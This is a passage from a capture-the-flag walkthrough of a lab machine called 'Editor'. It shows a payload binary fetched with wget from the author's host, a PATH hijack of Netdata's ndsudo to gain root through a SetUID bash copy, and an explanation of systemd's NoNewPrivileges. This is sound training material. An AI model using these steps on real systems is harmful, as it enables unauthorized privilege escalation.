This will make sure the binary is running with root privs, and then call system to make a copy of bash that is SetUID. I’ll compile it:

oxdf@hacky$ gcc root.c -o nvme

And host it on my Python webserver. From Editor, I’ll upload it to /dev/shm and set it as executable:

oliver@editor:/dev/shm$ wget 10.10.14.6/nvme
--2025-08-09 21:33:02--  http://10.10.14.6/nvme
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16136 (16K) [application/octet-stream]
Saving to: ‘nvme’

nvme                              100%[============================================================>]  15.76K  --.-KB/s    in 0.09s   

2025-08-09 21:33:02 (172 KB/s) - ‘nvme’ saved [16136/16136]

oliver@editor:/dev/shm$ chmod +x nvme

Now I’ll run ndsudo with the path set to include /dev/shm at the front:

oliver@editor:/dev/shm$ PATH=/dev/shm:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

It doesn’t output anything, but in /tmp:

oliver@editor:/dev/shm$ ls -l /tmp/0xdf 
-rwsrwsrwx 1 root root 1396520 Aug  9 21:34 /tmp/0xdf

I’ll run it (with -p to not drop the SetUID privs):

oliver@editor:/dev/shm$ /tmp/0xdf -p
0xdf-5.1#

And get root.txt:

0xdf-5.1# cat /root/root.txt
2a94789d************************

Beyond Root

Despite having the correct password for the oliver user, xwiki is not able to su to that user:

xwiki@editor:$ su - oliver
Password: 
su: Authentication failure

The password is good, so why is this happening? It turns out it has to do with how the XWiki service is started. XWiki runs as a service, which is configured in /lib/systemd/system/xwiki.service. Typically I think of services being defined /etc/systemd/system, but there are actually many paths that are checked for services to run by systemd. This file sets the binary that runs, when to run it, as well as other options:

#
# Systemd unit file for XWiki
#

[Unit]
Description=XWiki Jetty Application Server
Documentation=https://www.xwiki.org
After=network.target
RequiresMountsFor=/var/lib/xwiki/data

[Service]
WorkingDirectory=/var/lib/xwiki/

# Lifecycle
Type=simple
ExecStart=/bin/bash /usr/lib/xwiki-jetty/start_xwiki.sh
ExecStop=/bin/bash /usr/lib/xwiki-jetty/stop_xwiki.sh
Restart=on-abort

# Logging
SyslogIdentifier=xwiki

# Security
User=xwiki
Group=xwiki
PrivateTmp=yes
NoNewPrivileges=true
ProtectSystem=strict
ReadOnlyPaths=/etc/xwiki
ReadWritePaths=/var/lib/xwiki/data/
ReadWritePaths=/var/log/xwiki/

[Install]
WantedBy=multi-user.target

The important line here is NoNewPrivileges=true. With this option set:

execve() promises not to grant the privilege to do anything that could not have been done without the execve call.

So the problem isn’t with the password. It’s that when su is called, even though su is running with the SetUID bit enabled, that privilege isn’t actually gained. So when it tries to run as another user, without root privs, it can’t, and fails.